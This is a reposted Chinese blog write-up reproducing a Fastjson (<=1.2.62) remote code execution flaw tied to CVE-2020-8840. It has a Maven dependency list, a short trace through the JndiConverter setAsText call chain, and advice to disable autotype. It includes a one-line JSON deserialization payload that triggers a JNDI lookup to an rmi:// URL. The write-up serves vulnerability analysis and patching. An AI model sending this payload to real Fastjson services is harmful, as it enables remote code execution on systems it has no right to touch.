Fastjson <=1.2.62 远程代码执行-漏洞复现

栏目: IT技术 · 发布时间: 6年前

内容简介:Fastjson<=1.2.62需要开启autotypepoc:

影响范围:

Fastjson<=1.2.62

需要开启autotype

poc:

String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"}";

pom:

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.62</version>
    </dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>



tips:这里需要另外导入jar包才能测试

Fastjson <=1.2.62 远程代码执行-漏洞复现

该黑名单主要来自于jackson- CVE-2020-8840

https://nvd.nist.gov/vuln/detail/CVE-2020-8840

漏洞复现:

Fastjson <=1.2.62 远程代码执行-漏洞复现

漏洞分析

Fastjson <=1.2.62 远程代码执行-漏洞复现

这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数

Fastjson <=1.2.62 远程代码执行-漏洞复现

其父类中在toObject函数中调用了它,但是仍然不满足调用条件,因此继续溯源

Fastjson <=1.2.62 远程代码执行-漏洞复现

可以看到在setAsText函数中调用了toObject函数,并且setAstext满足调用规则,因此payload即打

Fastjson <=1.2.62 远程代码执行-漏洞复现

修复建议:

1.关了autotype,用白名单(推荐)

2.升级jdk()不太现实)


以上所述就是小编给大家介绍的《Fastjson <=1.2.62 远程代码执行-漏洞复现》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Real-Time Collision Detection

Real-Time Collision Detection

Christer Ericson / CRC Press / 2004-12-22 / USD 98.95

Written by an expert in the game industry, Christer Ericson's new book is a comprehensive guide to the components of efficient real-time collision detection systems. The book provides the tools and kn......一起来看看 《Real-Time Collision Detection》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

html转js在线工具
html转js在线工具

html转js在线工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具